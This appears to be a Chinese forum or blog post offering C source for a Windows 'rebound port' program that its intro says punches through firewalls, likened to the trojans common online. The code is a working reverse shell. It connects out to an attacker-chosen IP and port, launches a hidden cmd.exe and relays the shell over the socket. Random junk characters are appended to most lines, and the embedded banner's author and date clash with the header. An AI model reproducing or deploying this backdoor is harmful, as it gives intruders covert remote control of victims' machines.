Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 KwQO,($,]  
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/* ============================== 0_D~n0rq,v  
Rebound port in Windows NT ]:E]5&VwV}  
By wind,2006/7 8rp-Xi
W  
===============================*/ (Fgt#H(B  
#include Sc~kO4  
#include nLfnikw&  
g&E_|}u4  
#pragma comment(lib,"wsock32.lib") /?XfVhA:A  
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void OutputShell(); A^p $~e\)  
SOCKET sClient; Gj_b GqF8}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }C&c=3V  
};!c]/,  
void main(int argc,char **argv) a@jP^VVk  
{ S~Hj. d4/  
WSADATA stWsaData; [sk"2  
int nRet; uATBt  
SOCKADDR_IN stSaiClient,stSaiServer; YYvs~?bAy  
\4p<;$'  
if(argc != 3) 'Lw\nO.  
{ #dfW1@m  
printf("Useage:\n\rRebound DestIP DestPort\n"); !aEp88u  
return; j5)qF1W,  
} 9,c>H6R7  
4
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4#YklVm
 
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); vxt^rBA  
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stSaiClient.sin_family = AF_INET; mHMej@  
stSaiClient.sin_port = htons(0); "}EbA3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dCK-"#T!  
k1H0hDE  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F3'X  
{ }00e@a  
printf("Bind Socket Failed!\n"); #?=cg]v_  
return; D/Wuan?yPN  
} MnI $%  
bcs!4  
stSaiServer.sin_family = AF_INET; Y"jDZG?  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); HW G~m:km  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e`rY]X  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ZkJM?Fzq  
{ $g};u[y  
printf("Connect Error!"); g3XAs@  
return; &B4U
)  
} f.$o|R=v  
OutputShell(); Jq#Cn+zW  
} [s2V-'2  
$(R) =4  
void OutputShell() k#(cZ  
{ S8RB0^Q7  
char szBuff[1024]; ]EnaZWyO]  
SECURITY_ATTRIBUTES stSecurityAttributes; TH!8G,(w  
OSVERSIONINFO stOsversionInfo; z{d5Lrk  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,Tl5@RN  
STARTUPINFO stStartupInfo; +CT$/k  
char *szShell; Snu;5:R  
PROCESS_INFORMATION stProcessInformation; wjJ1Psnx  
unsigned long lBytesRead; 03o3[g?  
N0[I2'^.  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Cpcd`y=IN  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ha=z<Q  
stSecurityAttributes.lpSecurityDescriptor = 0; HJR<d&l;p  
stSecurityAttributes.bInheritHandle = TRUE; H|U/t
U-  
]P$DAi  
jPNfLwVkl:  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); jSYg\Z5!  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZD%_PgiT  
%UQB?dkf$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NCFV
 
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nln6:^w  
stStartupInfo.wShowWindow = SW_HIDE; Ch9!AUiR  
stStartupInfo.hStdInput = hReadPipe; PAU+C_P  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; J*!:ar  
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c  
GetVersionEx(&stOsversionInfo); \{zAX~k6  
Zw][c7%  
switch(stOsversionInfo.dwPlatformId) 5Y=\~,%\oH  
{ /2Lo{v=0[  
case 1: dm=F:\C  
szShell = "command.com"; !muYn-4M  
break; y!N)@y4  
default: aSkx#mV  
szShell = "cmd.exe"; ;sR6dT)  
break; SM+fG:4d  
} Jav2A6a  
[Cqqjv;_  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |cGeL[  
rHgdvDc  
send(sClient,szMsg,77,0); ]Y&)98  
while(1) !NLvo_[Y  
{ KzX ,n_`an  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); iEVA[xy=D  
if(lBytesRead) xY'qm8V  
{ -^4bA<dCCE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R:OU>HsdX  
send(sClient,szBuff,lBytesRead,0); &s^>S?L-  
} JkDPuTXD  
else RC{Z)M{~  
{ <cv2-?L{  
lBytesRead=recv(sClient,szBuff,1024,0); ~8xh0TSi  
if(lBytesRead<=0) break; Yuo1'gE+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); d&T6p&V$  
} r7"Au"  
} A!W"*WT  
'uf2 nUo  
return; >mFX^t_,  
}